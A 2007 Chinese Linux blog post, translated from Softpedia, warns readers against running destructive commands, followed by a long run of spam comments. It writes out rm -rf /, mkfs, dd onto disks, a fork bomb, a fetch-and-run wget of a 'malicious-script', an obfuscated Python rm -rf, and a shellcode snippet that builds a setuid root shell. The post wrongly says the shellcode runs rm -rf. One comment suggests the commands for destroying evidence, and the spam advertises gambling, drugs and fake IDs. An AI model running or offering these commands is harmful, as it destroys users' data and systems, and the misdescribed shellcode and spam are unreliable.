LinuxGem
此处为老的 LinuxGem,新版 LinuxGem 请移步 www.linuxgem.org

千万千万不要运行的命令!

galeki posted @ 2007年12月01日 20:24 in Bash 和它的朋友们 with tags linux 命令 破坏 , 5039 阅读

翻译 & 修改自: http://news.softpedia.com/news/Malicious-Commands-You-Should-NOT-Run-in-Ubuntu-72133.shtml

警告:

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,因为它们会实实在在的破坏你的系统。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭都来不及。

这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。



下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f  强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

sudo rm -rf /  删除根分区全部的文件
sudo rm -rf .    删除当前目录下的所有文件
sudo rm -rf *   同上
rm -rf * or rm -rf *.*   同上
rm -rf ~ / &     删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

sudo mkfs.xxxx 


dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

sudo dd if=/dev/zero of=/dev/sda   全部硬盘清零。
sudo dd if=/dev/sda of=/dev/sdb     用第一块硬盘的内容覆盖第二块的内容。
sudo dd if=something of=/dev/sda    往硬盘上写垃圾数据。

同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

any_command > /dev/sda              用随意的数据破坏硬盘

上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。


fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

:(){:|:&};:  

这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

fork while fork


有的时候,压缩包也是一个破坏来源~

有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。

有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。


从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

wget http://some_place/some_file
sh ./some_file
wget http://hax018r.org/malicious-script
sh ./malicious-script

下载脚本要确保来源正规,如果有能力,可以阅读其代码。


即使有源代码的程序,也不要随便编译执行:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是 rm -rf ~ / & !!!


python 一类的脚本语言,同样可以拿来搞破坏:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg! "]))'

这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 “sn!.sg! ” 是什么意思,实际上就是 rm -rf * 每个字母的下一个!


那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。

第三要保证软件、脚本的来源正规。

最后一点,虽然比较消极,但是确实十分重要的一点:

经常备份你的数据!!

 

还有什么,大家补充~

 

gmj 说:
2007年12月01日 21:26 好恐怖。。。。
max 说:
2007年12月01日 22:00 不要试图rm cp mv 操作passwd这个文件,如果使用了错误的passwd,那你可就爽了 ~~
min 说:
2007年12月02日 18:24 还有那些带着suid的程序
beyond 说:
2008年1月23日 17:37 rm -rf / 这个命令干下去,就只有等着重装系统了
KISS 说:
2009年3月26日 04:44

作案完毕后可以快速有效的毁灭证据,让执法部门无法通过硬盘取证

forex market 说:
2023年8月16日 19:42

Youre so cool! I dont suppose Ive read anything like this before. So good to search out any person with some unique ideas on this subject. realy thanks for beginning this up. this website is something that is needed on the net, someone with a little originality. helpful job for bringing one thing new to the web! curtains floral cheap

kashif 说:
2023年8月16日 20:31

Remarkable page! I seriously had our checking. I’m hoping to read simple things a lot more on your side. In my opinion that you have exceptional awareness and even prospect. Now i am quite pleased within this guidance. openai

kashif 说:
2023年8月19日 20:36

Some times its a pain in the ass to read what website owners wrote but this website is very user pleasant! . เว็บไซต์แทงบอล

kashif 说:
2023年8月19日 23:24

Hang in there for eventually you are going to arrive to realise that lifestyle is much more exciting than you actually thought doable and even feel! แทงบอลออนไลน์UFABET

kashif 说:
2023年8月20日 17:13

Me gustaría decir lo que una ayuda para encontrar a alguien que sabe realmente lo que son hablar acerca de internet. Definitivamente sabe consejos transmitir un problema a la luz y hacer importantes. Más individuos deben leer y comprender este aspecto de la historia. No puedo considero youre no más común porque tiene sin duda el regalo. ทางเข้าUFABETดียังไง

kashif 说:
2023年8月21日 14:36

Thanks for another informative web site. Where else could I get that kind of information written in such an ideal way? I’ve a project that I’m just now working on, and I have been on the look out for such information. FLORIDA FAKE ID

haider 说:
2023年8月22日 00:41

Many thanks for the excellent post C I had fun reading it! That i love this blog. daftar panen138

kashif 说:
2023年8月22日 18:15

That appears to be certainly great. Most of these teeny specifics are designed having great deal of track record expertise. I'm keen on the item lots buy scrap online

kashif 说:
2023年8月23日 18:16

whoah this weblog is excellent i love reading your articles. Stay up the good paintings! You already know, lots of persons are looking round for this info, you can aid them greatly. เว็บบอลออนไลน์เว็บไหนดี

kashif 说:
2023年8月23日 21:45

whoah this blog is excellent i love reading your posts. Stay up the good work! You realize, lots of people are looking around for this info, you can help them greatly. พนันออนไลน์ครบวงจร

kashif 说:
2023年8月24日 15:11

This web site is really a stroll-by way of for all the information you needed about this and didn’t know who to ask. Glimpse here, and also you’ll undoubtedly discover it. انترنت مجاني

kashif 说:
2023年8月24日 20:44

I adore your website.. excellent colours & theme. Did an individual design this site oneself or maybe have you actually rely on someone else to do it for you personally? Plz answer while I!|m planning to design and style my very own blog site as well as want to learn where by u became this specific through. thanks Miabet88

kashif 说:
2023年8月25日 18:34

I would like to thank you for the efforts you’ve put in writing this website. I am hoping the same high-grade site post from you in the upcoming also. In fact your creative writing abilities has inspired me to get my own website now. Actually the blogging is spreading its wings rapidly. Your write up is a great example of it. Nighty

kashif 说:
2023年8月26日 22:51

Presently the grade of our very own bordering is now a vital condition. The complete community human population shall be rising hence swiftly the planet is now also congested. Grand Cabin for rent in Islamabad

AVALIADOR PREMIADOR 说:
2023年8月28日 15:58

I like your release. It can be wonderful to discover somebody make clear throughout words and phrases inside centre and also clearness about it vital theme may be simply discovered. login slot138

AVALIADOR PREMIADOR 说:
2023年8月28日 18:52

Right away this website will probably definitely usually become well known with regards to most of website customers, due to the fact careful accounts and in addition tests. mawartoto login

AVALIADOR PREMIADOR 说:
2023年8月28日 23:10

When i ordered on your web page on the other hand setting concentration simply somewhat minor submits. Rewarding technique for near future, We are book-marking whenever get men and women down comes up available. login panen138

AVALIADOR PREMIADOR 说:
2023年8月29日 21:57

An fascinating discussion may be worth comment. I’m sure that you can write much more about this topic, it will not become a taboo subject but generally individuals are not enough to talk on such topics. An additional. Cheers outdoor modular couch

AVALIADOR PREMIADOR 说:
2023年8月30日 15:51

Excellent website. Plenty of useful info here. I’m sending it to several friends ans also sharing in delicious. And of course, thanks for your sweat! best wireless speakers

haider 说:
2023年8月30日 19:15

My personal sis advised me personally about your internet site and exactly how excellent it truly is. She’s proper, I’m genuinely amazed using the composing and clever style. Seems like to me you’re merely itching the surface in terms of that which you might accomplish, nevertheless you’re off to a terrific start! 메이저사이트

AVALIADOR PREMIADOR 说:
2023年8月31日 19:55

Wow, great stuff. I have been considering this for a few years. I’m glad to seemingly find someone that comes to the same conclusions as me. At least it seems that’s the case. I’ll keep visiting your site to stay informed. เกมแบบไหนหาได้จากเว็บพนันออนไลน์ไม่ผ่านเอเย่นต์

AVALIADOR PREMIADOR 说:
2023年9月01日 00:03

To see got with your web site on the other hand location treatment method clearly a very little amount of submits. Flexible technique for likely foreseeable future, I am book-marking at a stretch safeguarded options halt springs up in concert. buy gbl online

AVALIADOR PREMIADOR 说:
2023年9月04日 14:20

I like most of the reports, I truly treasured, I'd prefer specifics concerning this, considering it is especially fine., Thanks a lot to get going over. how much does miss rachel make

haider 说:
2023年9月04日 15:05

My brother suggested I could possibly like this web site. He was entirely correct. This post genuinely produced my day. You can not envision just how much time I had spent for this information and facts! Thanks! 안전놀이터

AVALIADOR PREMIADOR 说:
2023年9月06日 20:42

I prefer the main number of objects, Contemplated definitely relished, I needed guidance. within this, thinking of it's considerably quality., Appreciate it lots for the purpose of featuring. 토토사이트 추천

AVALIADOR PREMIADOR 说:
2023年9月07日 16:10

Saya suka cara Anda mengendalikan pancing dengan presisi menggunakan power handle. Itu pasti membuat pengalaman memancing lebih menyenangkan. REKOMENDASI REEL PANCING POWER HANDLE

AVALIADOR PREMIADOR 说:
2023年9月09日 19:56

Wow, this is really interesting reading. I am glad I found this and got to read it. Great job on this content. I like it. 토토사이트

haider 说:
2023年9月14日 22:31

An fascinating discussion will probably be worth comment. I believe that you ought to write more on this topic, may possibly not be described as a taboo subject but usually everyone is too little to communicate on such topics. To another location. Cheers สล็อต

haider 说:
2023年9月20日 16:43

The next time I just read a blog, I hope which it doesnt disappoint me just as much as brussels. After all, It was my replacement for read, but I actually thought youd have something interesting to talk about. All I hear can be a number of whining about something that you could fix in the event you werent too busy trying to find attention. funny crocs for adult

james 说:
2023年10月06日 20:12

I imagine this has gotta be some type of evolutionary characteristic to determine what type of person someone is. Whether they are out to get vengence, if they are mean, someone that you need to be cautious about. People would need to understand how to work with to them. clogs with chicken print

壯陽藥 说:
2023年11月06日 19:49

excellent submit, very informative. I wonder why the other experts of this sector do not realize this. You must continue your writing. I am confident, you have a great readers’ base already! 壯陽藥

壯陽藥 说:
2023年11月08日 19:24

Pretty quickly this specific outstanding site need to indisputably grown to be regarded within just each of the blog site most of the people, due to fastidious content as well as testimonials or it could be opinions. Nhà cái Fi88

jam 说:
2023年11月10日 23:03

Effortlessly these pages will likely irrefutably probably become well-known concerning several sites people, to be able to the thorough content or even thoughts. https://www.newapproach.org/play8oy2/

jam 说:
2023年11月11日 17:20

This presents itself fully suitable. Almost all these modest points were created in conjunction with great deal of heritage realizing. I adore that lots. OKEPLAY777

jam 说:
2023年11月11日 23:43

I’m the with regard to the majority of the content pieces, We completely savored, I'd truly choose much more information concerning this particular, considering the fact that it is good., Thanks intended for publishing. go88

jam 说:
2023年11月13日 19:54

kantorbola99 , menyediakan beragam jenis permainan game slot online terbaru dengan RTP diatas 97 % . Sebagai link kantor bola resmi kami menyediakan beragam promo menarik mulai dari bonus harian , bonus mingguan serta bonus cashback . link kantor bola

jam 说:
2023年11月13日 23:00

When my partner and i started to be on your own web site while wearing distinct consideration effortlessly some touch submits. Attractive technique for long term, I will be book-marking at this time have got designs attain rises proper upwards. Buy weed wholesale in Australia

jam 说:
2023年11月14日 15:39

The item senses solely ideal. Each of small facets were being designed as a result of quite a few history knowledge. I really like the appliance loads. nạp tiền f8bet

jam 说:
2023年11月15日 20:00

This really is also an incredible document when i sincerely preferred thinking about. It truly is certainly not everyday when i secure the chances to examine some thing. nhà cái khuyến mãi thành viên mới 88k

jam 说:
2023年11月17日 15:01

Rest room marketing techniques you pertinent query previous to building. Will probably be quick to write down remarkable write-up because of this. trang chủ 79king

jam 说:
2023年11月20日 15:02

Get daily teer result, shillong teer result, khanapara teer result, teer result common number daily success live teer result here. shillong teer result

jam 说:
2023年11月21日 19:06

Blogs are usually a brief explanation of a theme or issue, in corporation it can be applied to advertise a pertinent web-site. Blogging might help improve the visibility of a websites and it`s services and products. With accelerated visibility come`s enhanced viewers and together with the boost in viewers, the possibility of prospective clients is accessible. tylebongda

jam 说:
2023年11月22日 16:49

I’ve been surfing on-line greater than three hours as of late, but I by no means found any interesting article like yours. It¡¦s pretty worth enough for me. In my opinion, if all website owners and bloggers made good content as you probably did, the internet can be much more useful than ever before. bắn cá f8bet

jam 说:
2023年11月23日 20:02

Quickly this particular web address may irrefutably wind up renowned between each and every composing lots of people, due to persistent content articles as well as evaluations as well as rankings. livescore7m

jam 说:
2023年11月25日 15:40

I really appreciate this post. I have been looking all over for this! Thank goodness I found it on Bing. You have made my day! Thanks again! https://community.plus.net/t5/user/viewprofilepage/user-id/124073

jam 说:
2023年11月25日 20:33

This is the correct weblog for everyone who is would like to learn about this topic. You are aware of much its almost challenging to argue along with you (not that I personally would want…HaHa). You certainly put a different spin on a topic thats been revealed for several years. Fantastic stuff, just great! Hotfiesta slot

jam 说:
2023年11月26日 19:50

Hi, Neat post. There is a problem with your web site in internet explorer, would check this… IE still is the market leader and a big portion of people will miss your magnificent writing because of this problem. UFABETสมัครแทงบอลฟรีไม่มีขั้นต่ำ

jam 说:
2023年11月28日 20:41

That's why it is best that you relevant researching previously penning. You're able to construct more desirable put up this way. Alien Labs Disposable

jam 说:
2023年11月29日 17:11

whoah this blog is great i like reading your articles. Keep up the great paintings! You know, a lot of individuals are looking around for this info, you can aid them greatly. 온라인카지노사이트

jam 说:
2023年11月29日 20:27

That are surely wonderful. A large number of tiny essentials are created obtaining lot of reputation know-how. I am just looking towards an item tons. Dabwoods Carts

jam 说:
2023年11月30日 15:48

I truly appreciate this post. I have been looking all over for this! Thank goodness I found it on Bing. You have made my day! Thx again video bokep gratis

jam 说:
2023年11月30日 20:35

whoah this blog is excellent i love reading your posts. Stay up the good work! You realize, lots of people are looking around for this info, you can help them greatly. where to buy pappy van winkle

jam 说:
2023年11月30日 22:55

It really is also an incredible write-up i absolutely savored evaluating. It is not automatically day-to-day i produce the ability to find anything at all. pappy van winkle 12 year

jam 说:
2023年12月01日 19:50

While i attained on the web site though setting awareness just a little small amount submits. Satisfying way of long lasting, I shall be book-marking at the same time get varieties comprehensive occurs up. Piping Engineering Company

jam 说:
2023年12月02日 16:10

I like prefer to reports, Generate liked, I will have a preference for extra information and facts making use of this, great deal of thought is particularly eye-catching., Bless you actually devised for crafting. lunchtime result

jam 说:
2023年12月02日 20:36

I'd like a person's location. It really is better than notice everybody explain in words inside the life blood as well as legibility about this topic required region are often easily discovered. daftar situs bokep

jam 说:
2023年12月02日 22:19

That is certainly on top of that a superb send i always basically liked mastering. It may not be everyday that any of us store the chance to determine the one thing. video abg

jam 说:
2023年12月04日 14:58

Good – I should definitely pronounce, impressed with your website. I had no trouble navigating through all tabs as well as related info ended up being truly easy to do to access. I recently found what I hoped for before you know it at all. Quite unusual. Is likely to appreciate it for those who add forums or anything, site theme . a tones way for your client to communicate. Nice task.. link bong88

jam 说:
2023年12月05日 16:05

It is likewise an amazing write-up i always definitely relished examining. It's not necessarily day-to-day i always develop the opportunity to discover anything. 8xbet

jam 说:
2023年12月06日 15:56

This is very interesting, You are a very skilled blogger. I have joined your rss feed and look forward to seeking more of your great post. Also, I have shared your site in my social networks! 78win

jam 说:
2023年12月08日 18:24

You created some decent points there. I looked over the internet for your problem and found most individuals should go coupled with with your internet site. THC Vape Cart

jam 说:
2023年12月08日 22:50

That is lots of inspirational stuff. For no reason knew that opinions could be that varied. Thanks for all the enthusiasm to provide such helpful information here. ga179

jam 说:
2023年12月09日 00:11

I'm just seeking to models write-up. Its fantastic come across people today explain in words to the heart in combination with comprehension during this sizeable motif will likely be easily uncovered. News

jam 说:
2023年12月09日 14:13

That is it's wise that you ideal research before generating. You possibly can build significantly better post therefore. jun88

jam 说:
2023年12月14日 16:20

That is why it can be more effective that one could essential investigation in advance of making. You'll be able to write increased content using this method. 123b

jam 说:
2023年12月21日 14:46

Undeniably consider that which you stated. Your favorite justification seemed to be at the web the simplest factor to take into account of. I say to you, I certainly get annoyed even as other folks consider concerns that they plainly do not recognize about. You controlled to hit the nail upon the highest and also outlined out the entire thing with no need side-effects , folks could take a signal. Will likely be again to get more. Thank you plug and play pods

jam 说:
2023年12月22日 16:17

This is the most creative release from Guru Gang Starr and Solar. This classic Hip Hop album Guru and Solar

jam 说:
2024年1月02日 23:57

I must say, as a lot as I enjoyed reading what you had to say, I couldnt help but lose interest after a while. Its as if you had a good grasp to the subject matter, but you forgot to include your readers. Perhaps you should think about this from far more than one angle. Or maybe you shouldnt generalise so considerably. Its better if you think about what others may have to say instead of just heading for a gut reaction to the subject. Think about adjusting your own thought process and giving others who may read this the benefit of the doubt. bong da lu

jam 说:
2024年1月05日 20:19

Inilah sebabnya mengapa mendorong Anda untuk mencari yang tepat sebelum berkreasi. Tidak akan sulit untuk menuliskan artikel luar biasa dengan melakukan hal ini. Bali777

jam 说:
2024年1月08日 21:01

When my partner and i acquired onto your internet site although acquiring thought fundamentally relatively little submits. Pleasant strategy for approaching, I will be bookmarking concurrently get sorts conclusion goes up up wards. Start Make money today $$$$


登录 *


loading captcha image...
(输入验证码)
or Ctrl+Enter